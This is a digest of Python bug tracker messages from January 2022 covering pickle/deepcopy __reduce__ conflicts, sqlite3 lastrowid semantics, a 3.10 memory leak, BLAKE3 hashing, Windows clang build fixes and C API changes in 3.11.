I attach a test file which defines two classes making use of a __reduce__() returning a 6 element tuple. One class Pickleable can be duplicated via pickling, but not deepcopied. The converse is true for the Copyable class.
Other than the 6th element of the tuple returned from __reduce__() the classes are identical.
Guido dug into the history and found that:
> it looks like these are independent developments:
> the 6th arg for deepcopy was added 6 years ago via Issue 26167: Improve copy.copy speed for built-in types (list/set/dict) - Python tracker
> the 6th arg for pickle was adde 3 years ago via Issue 35900: Add pickler hook for the user to customize the serialization of user defined functions and types. - Python tracker
> I?m guessing the folks doing the latter weren?t aware that deepcopy already uses the 6th arg. Sorting this out will be painful.

Subject: [issue46337] urllib.parse: Allow more flexibility in schemes and URL
resolution behavior
Message-ID: <1641851456.34.0.342855463339.issue46337@roundup.psfhosted.org>
New submission from Lincoln Auster <lincolnauster at gmail.com>:
It looks like this was discussed in 2013-2015 here: https://bugs.python.org/issue18828
Basically, with all the URL schemes that exist in the world (and the possibility of a custom scheme), the current strategy of enumerating what do what in a hard-coded variable is a bit ... weird. Among the proposed solutions in 18828, some were:
+ Have a global registry of what schemes do what (criticized for being overkill, and I can't say I disagree)
+ Get rid of the scheme lists altogether, and assume every scheme supports everything (isn't backwards compatible; might break with intended behavior, too).
+ Switch the use_relative whitelist to a blacklist: (maybe fine in practice, maybe not; either way it doesn't really fix the underlying issue)
+ Work around it with global state (modify the uses_* lists; this is what I'm doing in my code, and I can't say I like it much).
An alternative implemented I've implemented in my fork (https://github.com/lincolnauster/cpython/tree/urllib-custom-schemes) is to have an Enum with all the weird scheme-based behaviors that may occur (urllib.parse.SchemeClass in my fork) and allow passing a set of those Enums to functions relying on scheme-specific behavior, and adding all the elements of that set to what's been determined by the scheme. (See the test case for a concrete example; this explanation is not great).
Some things I like about this:
+ Backwards compatibility.
+ It makes the functions using it as a general strategy a bit more pure.
+ It makes client code deal with edge cases.
Some things that could be changed:
+ There's no way to remove behaviors you *don't* want.
+ It makes client code deal with edge cases.
As a side thought: if the above could be adopted, the uses_* lists could be enforced as immutable, which, while breaking compatibility, could make client code a bit cleaner.

New submission from Allie Hammond <allie.hammond at onelogin.com>:
libc_ver() in platform.py (called from platform()) causes a runtime error if sys.executable returns null. In my case, FreeRADIUS offers a module rlm_python3 which allows you to run python code from the C based FreeRADIUS server - since this module doesn't use a python binary to execute sys.executable returns null trigering this error.

I added Serhiy as the author of the deepcopy optimization. Although it was the first to use the 6th item, it is not documented so I wonder if it's the easier of the two to change.

Ethan, I've tried to reproduce this, but it seems that example you attached is not valid.
`Flag` is never imported at all. The same with `auto`.
Should it be:
```
>>> from enum import auto, Flag, STRICT
```
the first time?
As you said, it only happens in rare envs. For me the sample above works completely fine.
I also can't find any historical logs from the CI failures :(

Guido van Rossum <guido at python.org> added the comment:
Thanks for the bisection. It's not surprising that that's the culprit, and in other situations that's the right thing to do. I'm not sure how to address this without breaking other stuff -- maybe leave the ForwardRef if evaluating it doesn't work? But that's likely to have other subtle side effects -- we still want simple typos (or other reasons why a reference is legitimately broken) to go unchecked. Maybe singledispatch can catch the error and fall back on looking at bare __annotations__?

This may be a recent regression? It didn't happen on my build from a few weeks ago. worth testing on older versions.

Message-ID: <1641884806.75.0.386858319887.issue39298@roundup.psfhosted.org>
Jack O'Connor <oconnor663 at gmail.com> added the comment:
Update: There is now a C version of the `blake3` Python module available at https://github.com/oconnor663/blake3-py/tree/master/c_impl. It's completely API-compatible with the Rust version, and it passes the same test suite. Multithreading (which is implemented in upstream Rust but not in upstream C) is exposed through a "max_threads" argument, as Larry Hastings suggested. The C implementation allows this argument but ignores it.
Unlike my previous attempt, this setup.py build handles the full range of target platforms and optimized flavors: x86-64 assembly on Windows-MSVC and Unix, 32-bit x86 intrinsics on Windows-MSVC and Unix, NEON intrinsics on AArch64, and portable C for everyone else. I'm new to distutils/setuptools and not particular familiar with the MSVC toolchain either, so there's a good chance that others can suggest better/cleaner/more robust approaches than what I've got, but it's at least working on my machines and on GitHub CI. (I haven't tried to get any cross-compilation working though; is that a thing?)
I haven't published this module to PyPI, partly to avoid confusion with the Rust-based implementation, which I think most applications should prefer. But if it would make a big difference to anyone who wants to review this code, we could certainly put it up as `experimental_blake3_c` or something? Let me know what's best.

Subject: [issue46340] DeprecationWarning emitted when running asyncio tests
Message-ID: <1641890734.7.0.240445368406.issue46340@roundup.psfhosted.org>
New submission from Erlend E. Aasland <erlend.aasland at innova.no>:
Providing some more background, based on the changes proposed by Kumar in GH-30486:
asyncio.get_event_loop() was marked as deprecated in Python 3.10. Quoting from the asyncio documentation , https://docs.python.org/3/library/asyncio-eventloop.html (as of 3.10):
Because this function has rather complex behavior (especially when custom
event loop policies are in use), using the get_running_loop() function is
preferred to get_event_loop() in coroutines and callbacks.
[...]
Deprecated since version 3.10: Deprecation warning is emitted if there is
no running event loop. In future Python releases, this function will be an
alias of get_running_loop().
GH-30486 proposes to replace asyncio.get_event_loop() with asyncio.new_event_loop().

Kumar, did you consider using get_running_loop() to retrieve the event loop in the current thread, instead of creating a new one?

Yes, my bad, I should have mentioned that this applies to venv, I will update the issue title.
Not sure if I can modify my earlier comment however (I don't see any way to).

In my case, FreeRADIUS offers a module rlm_python3 which allows you to run python code from the C based FreeRADIUS server - since this module doesn't use a python binary to execute sys.executable returns null trigering this error.
Interesting. I guess rlm_python3 embeds Python. Is sys.executable an
empty string or None ?

Otherwise, it is equal to get_running_loop() and IS NOT deprecated.
I think there is no reason to replace all occurrences where get_event_loop() works fine.

+1
I provided the grep for information only, hence FTR (for the record).

Yes, I see that now. So using asyncio.new_event_loop instead makes sense.

> While attempting to embed the full cpython source in my application, I found that during compilation on Windows, there was a compilation issue due to struct stat not being defined.
Do you get the error when building Python? Or on #include <Python.h> when using the Python C API?
How do you build Python? What is your C compiler?
Can you test if my proposed PR 30528 fix your issue?

Hi everyone,
I'm Tommy from OBS Projects, and I'm currently working on bring OBS Studio to Windows ARM64.
I still prefer the regular executable installer on ARM64, because it's probably the least intrusive way of making Python scripting work with OBS Studio. Please provide the regular executable installer for ARM64.
I'm also interested in ARM64EC. I haven't tried it yet, but what's your confidence that it will compile on ARM64EC toolchain?

Message-ID: <1641903025.56.0.417443155132.issue46342@roundup.psfhosted.org>
New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
Currently, @typing.final is implemented as an identity function, which makes it impossible for type checkers that look at runtime objects to support it.
I propose that we implement it as something like:
def final(f):
try:
f.__final__ = True
except AttributeError:
pass # in case it is used on an object that doesn't support setting attributes
return f
I will submit a PR implementing this idea.

New submission from Irit Katriel <iritkatriel at gmail.com>:
Following the removal of exc_type and exc_traceback from the interpreter's active exception in issue45711, we can now provide simplified get-set functions in the C Api:
PyAPI_FUNC(void) PyErr_GetActiveException(PyObject **);
PyAPI_FUNC(void) PyErr_SetActiveException(PyObject *);
as alternatives to
PyAPI_FUNC(void) PyErr_GetExcInfo(PyObject **, PyObject **, PyObject **);
PyAPI_FUNC(void) PyErr_SetExcInfo(PyObject *, PyObject *, PyObject *);
See also issue46328 re the corresponding change in the sys module.

This changed with ab994ed8b97e1b0dac151ec827c857f5e7277565 (in Python 3.6), so that lastrowid is _unchanged_ for operations other than INSERT or REPLACE, and it is set to 0 after the first valid SQL (that is not INSERT/REPLACE) is executed on the cursor.

Well, it may be a little stronger than the SHOULD in the RFC, but then
again the whole DB-API is about conventions and if they don't make sense
for a database backend, it is possible to deviate from the spec, esp. for
optional extensions such as .lastrowid.

Is 0 a valid row ID in SQLite ? If not, then I guess this would be
an alternative to None as suggested by the DB-API.
If it is a valid row ID, I'd suggest to go back to resetting to None,
since otherwise code might get confused: if an UPDATE does not get
applied (e.g. a condition is false), code could then still take
.lastrowid as referring to the UPDATE and not a previous
operation, since code will now know whether the condition was met
or not.

I was trying to build python core (-DMS_WINDOWS -DPy_BUILD_CORE). I was using clang, which I think is unsupported looking at Windows doc. After looking at the issue though, it seemed that it was just some slight mistake which is why I filed the bug.
clang version 13.0.0
Target: x86_64-pc-windows-msvc
Thread model: posix
I can test to see if it fixes the immediate build problem, but I still find your fix not quite addressing the issue which I initially tried to create a patch for. Someone has already developed a shim here for Windows and it just was not used properly. `_Py_stat_struct` is a define which either evaluates to `stat` on non-Windows systems or a compatibility structure on Windows. Simply replacing the use of `struct stat` with `struct _Py_stat_struct` should solve the issue.

field with `None` default
Message-ID: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Right now this corner case is not tested:
```python
class Some:
x: int = None
import typing
assert typing.get_type_hints(Some) == {'x': int}
```
Notice that we don't add implicit `Optional` type to `x`. This is different for function arguments that will have `Optional` added.
I think it is a good idea to add a test for this. Espeically given that we can change function's behavior.

It seems like _Py_stat() and _Py_wstat() are only needed on non-Windows platforms: only the _get_tcl_lib_path() function of Modules/_tkinter.c uses _Py_stat(). I wrote PR 30539 to not define _Py_stat() and _Py_wstat() on Windows.

Hi Tommy! Glad to have you join the discussion (I'm a huge fan of OBS Studio, and if the license wasn't incompatible with my employer, I'd be actively contributing :) )
Our challenge with the installer is the portability of Wix Toolset. I'm pretty sure our current version doesn't support ARM64, and they haven't released a newer version that does yet. It's possible that emulation will handle the main part of our installer, but AFAIK nobody has tested it to see whether it confuses the underlying installer service. (I can probably do that at some point, as I have access to some test machines now.)
At the same time, any reason why OBS doesn't just include a copy of Python with it? It should be quite easy to include the embeddable runtime on Windows, which would then mean that you're able to ship the exact version necessary and have the paths preconfigured. (It *might* complicate installing 3rd party packages a bit, but you can always allow search paths to be set/PYTHONPATH to be respected, or the executable path overridden.)
Possibly this is something you guys have already looked into, so if you know there's an issue I'd love to hear about it. Making it easy/easier to bundle Python with apps like OBS is one of my major focuses.

In a multi-user environment, you should not expect to be able to spawn infinite processes. In some cases system administrators have reduced the thresholds to values that guarantee a machine is still responsive under heavy load. See limits.conf(5) as an example.
I just used ulimit to synthesize this situation.
Does this make sense?

True. OTOH, we've had no requests for reverting to pre Python 3.6 behaviour.
If we are to revert to this behaviour, we'll have to start examining the SQL we are given (search for INSERT and REPLACE keywords, determine if they are valid (i.e. not a comment, not part of a column or table name, etc.), which will lead to a noticeable performance hit for every new statement (not for statements reused via the LRU cache though). I'm not sure this is a good idea. However I will give it a good thought.
My first thought now, is that it would be better for the sqlite3 module to align lastrowid with the behaviour of the C API sqlite3_last_insert_rowid() (also available as an SQL function: last_insert_rowid). OTOH, the SQLite API is tied to the _connection_ object, so it may not make sense to align it with lastrowid which is a _cursor_ attribute.
Perhaps the Right Thing To Do? is to be conservative and just leave it as it is. I still want to apply the optimisation, though. It does not alter the behaviour in any kind of way, and it speeds up executemany().

That came out weird; let's try again:
The SQLite API is tied to the _connection_ object, so it may not make sense to force that behaviour onto lastrowid which is a _cursor_ attribute.

OTOH, the SQLite API is tied to the _connection_ object, so it may not make sense to align it with lastrowid which is a _cursor_ attribute.
I've had a look at the API description and find it less than useful,
to be honest:
https://sqlite.org/c3ref/last_insert_rowid.html
You don't know on which cursor the last row was inserted, it's
possible that this was or is done by a trigger and the last row
is not updated in case the INSERT does not succeed for some reason,
leaving it unchanged - without the user getting a notification of
this failure, since the .execute() call itself will succeed for
e.g. "INSERT INTO table SELECT ...;".
It also seems that the function really only works for INSERTs and
not for UPDATEs.
> Perhaps the Right Thing To Do? is to be conservative and just leave it as it is. I still want to apply the optimisation, though. It does not alter the behaviour in any kind of way, and it speeds up executemany().
I'd suggest to deprecate the cursor.lastrowid attribute and
instead point people to the much more useful
"INSERT INTO t (name) VALUES ('two'), ('three') RETURNING ROWID;"
https://sqlite.org/lang_insert.html
https://sqlite.org/forum/forumpost/058ac49cc3
(good to know that SQLite has adopted this PostgreSQL variant as
well)
RETURNING is also available for UPDATES:
https://sqlite.org/lang_update.html
If people really want to use the sqlite3_last_insert_rowid()
functionality, they can use the SQL function of the same name:
https://www.sqlite.org/lang_corefunc.html#last_insert_rowid
which then has known semantics and doesn't conflict with the DB-API
specs.
But this is your call :-)

SQLite has no concept of cursors :)

Yes, hence it's name: sqlite3_last_insert_rowid() !

Yes, I think mentioning the RETURNING ROWID trick in the sqlite3 docs is a very nice improvement. Mentioning the last_insert_rowid SQL function is probably also worth consideration.
I'm reluctant to deprecate cursor.lastrowid, though. ATM, I'm leaning towards just keeping the current behaviour.
> But this is your call :-)
I hear you are saying that, but strictly speaking I'm _not_ the sqlite3 module maintainer; I'm just a very eager contributor :)

For a shell statement entry, try to find the right line. Not sure for an editor syntax error. This is a rare situation in any case.

New submission from Yury Selivanov <yselivanov at gmail.com>:
I'm investigating a memory leak in 3.10, and while looking at the offending commit I stumbled upon this: in ceval.c:PyEval_EvalCodeEx, there's this allocation:
PyObject **kwargs = PyMem_Malloc(sizeof(PyObject *)*kwcount);
The problem is that this isn't ever freed. And `kwargs` isn't used anywhere in the function body. It seems to me that this is silently leaking memory.

New submission from Nikita Sobolev <mail at sobolevn.me>:
There are several very old details in `test_typing`.
Some examples:
1. `@skipUnless(sys.version_info >= (3, 3), 'ChainMap was added in 3.3')` https://github.com/python/cpython/blame/dce642f24418c58e67fa31a686575c980c31dd37/Lib/test/test_typing.py#L3583 Probably we don't care about `3.3` anymore, so this decorator cam be removed
2. Lib/test/mod_generics_cache.py has a specific path for 3.6, which has reached its EOL, so it can also be simplified
3. `ASYNCIO_TESTS` can be written as a regular code now (this is the one I am not 100% sure about, but let's see what the CI will say)
PR is on its way!

Subject: [issue46349] inspect.getdoc() should append parent class method docs
when encountering a local one line docstring
Message-ID: <1641937153.72.0.655254762095.issue46349@roundup.psfhosted.org>
New submission from Gregory P. Smith <greg at krypto.org>:
Today `inspect.getdoc()` is quite simple. If a method has any docstring, it returns it.
There is one idiom where this is not very useful to our users. A """See base class.""" docstring on a method.
Rather than having to repeat the canonical base class documentation in all methods or argue with tooling about not having a docstring in this common scenario, a single line docstring being used as a hint to just bring in the parent's docstring would be more helpful to the user.
Today's inspect.getdoc() could would turn from:
https://github.com/python/cpython/blob/main/Lib/inspect.py#L850
into something like:
```
...
if doc is None or (isinstance(doc, str) and '\n' not in doc.strip()):
try:
parent_doc = _finddoc(object)
if doc is None:
doc = parent_doc
elif isinstance(parent_doc, str):
doc = f'{doc}\nParent class MRO doc:\n{parent_doc}'
except (AttributeError, TypeError):
return doc
...
```
Why not just tell people to omit docstrings when they want parent docs? Because not all coding styles and linter tooling allows for this as they aim to enforce that documentation _is_ written. Source analysis tooling and IDEs may not have a whole transitive dependency view of where the base classes even come from and are thus incapable of reliably analyzing whether a parent MRO method even exists or has a docstring. This allows for trivial one line docstrings in that situation while still providing better information to the help() user.
This would add value to when using help(typical_subclass_of_abstract_thing.method) in notebooks.

Steven D'Aprano <steve+python at pearwood.info> added the comment:
Many docstrings are only 1 line without being "See base class." And many docstrings are multiple lines while also referring the reader to see the parent class for further details. So this DWIM heuristic to guess whether or not to display a parent class docstring will have a lot of both false positives and false negatives.
The false negatives just revert to the status quo, but the false positives will be annoying.
I am leery of DWIM code. The reader should be capable of recognising that sort of message and calling up help for that class, so I think the benefit here is minimal and the failures common.
But if we do go ahead with this, I have a style issue.
At the moment, getdoc shadows `object`, for no good purpose. (I'm fine with shadowing builtins if there is a good reason.) This is a minor issue that is not worth fixing on its own, but if you do end up touching getdoc to implement this, could you please remove the unnecessary shadowing? If we can call the function "get *doc*" we can call the parameter *obj* :-)

Message-ID: <1641939012.19.0.13776155937.issue46350@roundup.psfhosted.org>
New submission from Dan Snider <mr.assume.away at gmail.com>:
The docs use the phrase "unknown escapes of ASCII letters are reserved for future use and treated as errors". That seems ambiguous enough to question why "\x", "\u", "\U", and "\N{}" escapes aren't expanded in the template parameter like they are in patterns.
Since I didn't get a response to the security report I submitted a few weeks ago about \N{} escapes, I'm cautiously assuming it's safe to bring it up here that the "unicode-escape" encoding and re and probably everything else that uses it ignores two obvious clues that a name lookup will fail: length and the presence of invalid characters. I didn't look very hard for a definite length cap in the spec, but 255 seems more than sufficient, based on longest name at present with its 82 characters. Even something as absurd as 65535 would be preferable to the current implementations, which will keep going to the end as in:
>>> r"\N{%s}" % ("\ufb03"*2**30)
searching or a terminating "}" and still perform a lookup of the 2**30 character name.
Another tangentially related "bug" (which probably deserves its own issue) is the inconsistency between group names and standard Python identifiers. The following example shows how the python compiler decomposes a ligature '?' in source code to the ASCII string "ffi", while re merely checks if it could be converted to an identifier:
>>> ? = re.search("(?P<?>.)", "xxx")
>>> ffi.groupdict()
{'?': 'x'}
>>> "\ufb03" in vars(), "\ufb03" in _
(False, True)

Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
I've been experimenting with a modification of Serhiy's recurrence relation, using a different value of j rather than j=k//2.
The current design splits-off three ways when it recurses, so the number of calls grows quickly. For C(200,100), C(225,112), and C(250,125), the underlying 64 bit modular arithmetic routine is called 115 times, 150 times, and 193 times respectively.
But with another 2kb of precomputed values, it drops to 3, 16, and 26 calls.
The main idea is to precompute one diagonal of Pascal's triangle, starting where the 64-bit mod arithmetic version leaves off and going through a limit as high as we want, depending on our tolerance for table size. A table for C(n, 20) where 67 < n <= 225 takes 2101 bytes.
The new routine adds one line and modifies one line from the current code:
def C(n, k):
k = min(k, n - k)
if k == 0: return 1
if k == 1: return n
if k < len(k2n) and n <= k2n[k]: return ModArith64bit(n, k)
if k == FixedJ and n <= Jlim: return lookup_known(n) # New line
j = min(k // 2, FixedJ) # Modified
return C(n, j) * C(n-j, k-j) // C(k, j)
The benefit of pinning j to match the precomputed diagonal is that two of the three splits-offs are to known values where no further work is necessary. Given a table for C(n, 20), we get:
C(200, 100) = C(200, 20) * C(180, 80) // C(100, 20)
\_known_/ \_recurse_/ \_known_/
A proof of concept is attached. To make it easy to experiment with, the precomputed diagonal is stored in a dictionary. At the bottom, I show an equivalent function to be used in a C version.
It looks promising at this point, but I haven't run timings, so I am not sure this is a net win.

It is better to raise each issue in its own ticket.
You seem to have three distinct issues here:
- The issue listed in the title, which I don't understand. A demonstration of the issue would be helpful.
- The unrelated(?) issue of bad \N{} escapes, which appears to have nothing to do with regexes, but maybe I'm wrong? In any case, whether this is regular expressions or plain old strings, it seems reasonable to me to limit \N{} to ASCII-only (Unicode guarantees that code point names are ASCII) and some reasonable length. I can't imagine the Unicode consortium ever deciding on a name > 255 characters, it wouldn't be practical.
- The difference in normalisation between group names and identifiers.

Turns out this leak affects CYthon quite a lot:
https://github.com/cython/cython/blob/29ad96444b8b1a4f05a6ac2328fde01de4782691/Cython/Utility/ObjectHandling.c#L2139-L2155
This seems to imply that every function call using __Pyx_PyCFunction_FastCall is leaking memory in 3.10, which is quite bad. We may need an urgent release for this :(

The function will still leak "kwnames" and "default" if creating the "func" object fails. Admittedly that would only happen in a low-memory condition which is a) rare and b) probably only happens just before the interpreter completely dies, so it's not worth addressing during today's mild emergency.

Hi Steve,
We appreciate your interest in OBS Studio!
In my opinion, the installer doesn't have or need to be in ARM64, because it's not more complex than copying files and writing registry keys, and as an installer, it should be the most forgotten part of python that usually runs for once or twice.
For the reason why OBS doesn't include a copy of python, OBS Studio on Windows is already huge (~130MB installer, ~500MB after install), and we don't want to add another disk space eater on already huge installer.
We are working on a way to find Python installed on the system, but it seems pretty complicated.

One fixup:
- j = min(k // 2, FixedJ)
+ j = FixedJ if k > FixedJ else k // 2
With that fix, the number of 64-bit mod arithmetic calls drops to 3, 4, and 20 for C(200,100), C(225,112), and C(250,125). The compares to 115, 150, and 193 calls in the current code.

rm -f /usr/local/python3.9.9/binpython3.9-32; \
lipo \
-output /usr/local/python3.9.9/bin/python3.9-32 \
/usr/local/python3.9.9/bin/python3.9; \
fi
There should be a '/' between bin and python3.9-32 and other lines have the same issue. The Makefile source lines where I see this error are:
if test "x$(LIPO_32BIT_FLAGS)" != "x" ; then \
--> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-32$(EXE); \
lipo $(LIPO_32BIT_FLAGS) \
-output $(DESTDIR)$(BINDIR)/python$(VERSION)-32$(EXE) \
$(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \
fi
if test "x$(LIPO_INTEL64_FLAGS)" != "x" ; then \
--> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-intel64$(EXE); \
lipo $(LIPO_INTEL64_FLAGS) \
-output $(DESTDIR)$(BINDIR)/python$(VERSION)-intel64$(EXE) \
$(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \
fi
I think the lines I've marked with --> above should have the '/' after $(BINDIR).... ????

It's just a compiler warning, why marking it as a release blocker?

Message-ID: <1641944848.79.0.943924325231.issue39298@roundup.psfhosted.org>
Jack O'Connor <oconnor663 at gmail.com> added the comment:
Ah, good idea. I've published the new C implementation as: https://test.pypi.org/project/blake3-experimental-c/
You can install it with: pip install -i https://test.pypi.org/simple/ blake3-experimental-c
Despite the package name change, the extension module is still "blake3", so we still "import blake3" to get at it. For example:
$ pip install -i https://test.pypi.org/simple/ blake3-experimental-c
$ python
>>> from blake3 import blake3
>>> blake3(b"foo").hexdigest()
'04e0bb39f30b1a3feb89f536c93be15055482df748674b00d26e5a75777702e9'
>>> blake3(b"foo", max_threads=blake3.AUTO).hexdigest()
'04e0bb39f30b1a3feb89f536c93be15055482df748674b00d26e5a75777702e9'
To run the Rust implementation's test suite against this implementation, you could then:
$ pip install pytest numpy
$ git clone https://github.com/oconnor663/blake3-py
$ python -m pytest blake3-py/tests/test_blake3.py

So, can we shoot for adding this to 3.11? Jack, do you consider the code is in good shape?
I'd be up for shepherding it along in the process. In particular, I can contribute the bindings so BLAKE3 is a first-class citizen of hashlib.

Hi Victor, I was trying to compile with clang on Windows 10. I will try to pull your 3.11 changes and test. Sorry to cause so much churn. It looked to me like a simple issue that was missed, probably because whatever was trying to compile was not normally compiled on Windows. I was not trying to make a lot of work to support a new platform :)

It looked to me like a simple issue that was missed, probably because whatever was trying to compile was not normally compiled on Windows. I was not trying to make a lot of work to support a new platform :)
I tried to write a change which doesn't increase the maintenance on other platforms.
I dislike declaring private functions in the *public* Python.h header file, especially if they cause build error. Over the last years, I moved many private functions to the internal C API.
In Python, we are trying to provide a same C API on all platforms. If "struct stat" is no longer considered as portable, IMO we should attempt to avoid it, at least in the public C API. For these reasons, I dislike PR 30478. The problem is that if the work is written on Linux using "strut stat", the build can fail on Windows if "struct _Py_stat_struct" is now required on Windows. I expected "struct stat" to be portable, but it seems like I was wrong.

Microsoft provides stat and struct stat, but they prepend the names with an underscore. So functions like stat are named _stat and struct stat is named struct _stat, etc. Not sure if pros/cons of using such functions are though. Seems it would go back to depending on some type nonstandard python macro to translate between the two during build.

It looks like PyThreadState.async_exc is getting set to 0x01 somewhere. There isn't any code like that in https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e. However, the struct layout of PyThreadState did change slightly in that commit.
The ABI is generally not stable until the first beta (and sometimes a bit after that). Could it be that the wheel for one or more the dependencies was built against an earlier 3.11 release (with the previous PyThreadState layout)?
If I move fields around in PyThreadState just right, I can no longer reproduce the problem.

>From the context of help(typical_subclass_of_abstract_thing.method), the user isn't told what the base classes are or which one might have documentation. So it could become an exercise in frustration.
and LOL yes the parameter name is silly but that's a separate module wide cleanup that could be done - inspect is full of public APIs that shadow object as a parameter name. it is often quite old code.

In the internal C API, there are less concerns about writing portable code. We expect users of this API to pay more attention to what they do and there is no backward compatibility warranty.
In the internal C API, it's acceptable to change the parameter type depending on the platform.

when was the regression introduced?
I wouldn't necessarily rush an urgent release out unless this was just introduced in the 3.10.1 patch release. Could it wait for 3.10.2 already scheduled for four weeks from now?

Ok, nice. I close the issue.
I consider that building Python with clang is a new feature. I prefer to not backport these changes to 3.9 and 3.10 to avoid any risk of regression.
I wrote GH-30528: simple fix for Python 3.10, but I don't know if it works. I don't know how to test my change. It seems like clang is not commonly used on Windows, so I close the issue.
If someone wants me to fix build issues with clang on Windows, please comment this issue or open a new issue with an error message and a detailed use case.

I don't feel comfortable leaving a ton of Cython functions leaking memory constantly on many function calls. According to https://github.com/MagicStack/asyncpg/issues/874 asyncpg can leak quite a lot of memory depending on your usage pattern.
Even if this is the first time we heard about this problem, I think this is important enough to justify a extra release.

Oh my god. You're right, I had a cffi wheel compiled for Python 3.11 before that commit. But the wheel was not coming from PyPI, it was coming from pip's own cache! And we recently enabled pip's cache in GitHub Actions too.
So the wheel compiled locally for alpha 2 got reused for alpha 3, and ?.
Sorry for the noise but thanks a lot for your help, this was really baffling. Closing!

The ABI between alpha 2 and alpha 3 changed, see https://bugs.python.org/issue46320. If pip built (say) cffi in CI for alpha2 and put it in the cache, then it reused that wheel for alpha3 and the segfault is expected.

I would still find it helpful to have a "proper" "blake3-c" package on normal pypi, for those of us who can't rely on Rust being present immediately.

Ran some timings on the pure python version with and without the precomputed diagonal: [C(n, k) for k in range(n+1)]
New Code Baseline
--------- ---------
n=85 156 usec 160 usec
n=137 632 usec 1.82 msec
n=156 1.01 msec 4.01 msec
n=183 1.58 msec 7.06 msec
n=212 2.29 msec 10.4 msec
n=251 7.07 msec 15.6 msec

n=1001 314 msec 471 msec
As expected, the best improvement comes in the range of the precomputed combinations: C(129, 20) through C(250, 20).
To get a better idea of where the benefit is coming from, here is a trace from the recursive part of the new code:
>>> C(240, 112)
C(240, 112) = C(240, 20) * C(220, 92) // C(112, 20)
C(220, 92) = C(220, 20) * C(200, 72) // C(92, 20)
C(200, 72) = C(200, 20) * C(180, 52) // C(72, 20)

Subject: [issue46353] 'pydoc -k' crashes when some module's loader is not found
Message-ID: <1641977598.42.0.091371841843.issue46353@roundup.psfhosted.org>
New submission from Denis Laxalde <denis at laxalde.org>:
On my (Debian 10) system, 'pydoc -k' crashes as follows:
$ python3 -m pydoc -k foo
Traceback (most recent call last):
File "/usr/lib/python3.9/runpy.py", line 197, in _run_module_as_main
return _run_code(code, main_globals, None,
File "/usr/lib/python3.9/runpy.py", line 87, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.9/pydoc.py", line 2862, in <module>

File "/usr/lib/python3.9/pydoc.py", line 2795, in cli

File "/usr/lib/python3.9/pydoc.py", line 2287, in apropos
ModuleScanner().run(callback, key, onerror=onerror)
File "/usr/lib/python3.9/pydoc.py", line 2248, in run
loader = spec.loader
AttributeError: 'NoneType' object has no attribute 'loader'
(The same happens with current 'main' of CPython.)
The module that is tried to be loaded is 'ansible.galaxy.data', installed in /usr/lib/python3/dist-packages/ and it uses a custom (Ansible) finder _AnsiblePathHookFinder.
Maybe this finder has problems, but since Finder.find_module() may return None, I believe this should be handled by pydoc's ModuleScanner.
If agreed, I'll prepare a fix accordingly.

An exception is not a crash. We reserve the word "crash" for segfaults.

Yes, your environment is clear.
As I see from traceback, you are stuck not with new process creation but with new thread starting.
The thread is used for waiting for the started process to finish.
It is the default configuration.
Maybe you need an alternative ChildWatcher setup by `asyncio.get_event_loop_policy().set_child_watcher(watcher)` call.
A relatively fresh Linux can use `PidfdChildWatcher`. `MultiLoopChildWatcher` is cross-platform.
`SafeChildWatcher` is the oldest and simplest implementation.
Please choose one and see how it works for you.

New submission from Alex Waygood <Alex.Waygood at Gmail.com>:
Hi -- thanks for the report! You haven't given us many details here, but I think this is intentional behaviour, not a bug -- this was changed in Issue37324. Importing `Mapping` (along with many other names) directly from `collections`, instead of from `collections.abc`, has been deprecated since Python 3.3, and was removed in Python 3.10. So instead of writing `from collections import Mapping`, simply write `from collections.abc import Mapping`, and you should find that no error is raised.

Fair enough :-)
Perhaps just documenting that the value is not necessarily what
people may expect, when coming from other databases due to the
different semantics with SQLite, is enough.

@Andreas
First of all, thanks for addressing my questions on the PR. I have one more question which I'll post here since it's not entirely related to your PR.
ForwardRef isn't meant to be explicitly instantiated by a user [1] (it's a typing internal class), so do you mind sharing what your current use case is please? My concern here is that exposing things in __repr__ would force us to keep `module` forever (I'm 100% fine with __eq__ and __hash__). After digging up the commit history, I now recall that the module parameter was used solely as a fix for ForwardRefs in different-module TypedDict (see GH-27017 or bpo-41249). It's not used anywhere else, so I don't know if your current use case was ever intended when the module parameter was added.

Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes
and explain how to port code to Python 3.11
Message-ID: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
Python 3.11 made many changes in PyFrameObject and PyThreadState structures. Code which accessed directly structure members doesn't build anymore. For example, "frame->f_code" is now fails because PyFrameObject.f_code member is done. I propose to document these changes and explain how to port code.
I will write a documentation PR.
== PyFrameObject changes ==
PyFrameObject now only creates a Python frame object on demand.
* f_code: removed, use PyFrame_GetCode() instead, warning: it returns a strong reference (Py_DECREF is needed)
* f_lineno: changed, use PyFrame_GetLineNumber()
* f_back: changed, use PyFrame_GetBack()
* f_builtins: removed, get the "f_builtins" attribute in Python
* f_globals: removed, get the "f_globals" attribute in Python
* f_locals: removed, get the "f_locals" attribute in Python
* f_valuesstack: removed
* f_stackdepth: removed
* f_gen: removed
* f_lasti: removed, get the "f_lasti" attribute in Python?
* f_iblock: removed
* f_state: removed
* f_blockstack: removed
* f_localsplus: removed
Accessing f_lineno and f_back doesn't fail with a compiler error, but these members are filled lazily. If PyFrame_GetLineNumber() is not called, it can return 0 even if the frame is running and has a line number. If PyFrame_GetBack() is not called, f_back is NULL even if the frame has a next outer frame.
== PyThreadState changes ==
* frame: removed, use PyThreadState_GetFrame(), warning: it returns a strong reference (Py_DECREF is needed)
* recursion_depth: removed, use (tstate->recursion_limit - tstate->recursion_remaining) instead
* stackcheck_counter: removed
* tracing: changed, use PyThreadState_EnterTracing() and PyThreadState_LeaveTracing(), added by bpo-43760
== Notes ==
We should also explain how to get new C API functions, like PyFrame_GetCode(), on older Python, and maybe suggest to use pythoncapi_compat to get them:
https://github.com/pythoncapi/pythoncapi_compat
See also:
* bpo-39947: "[C API] Make the PyThreadState structure opaque (move it to the internal C API)"
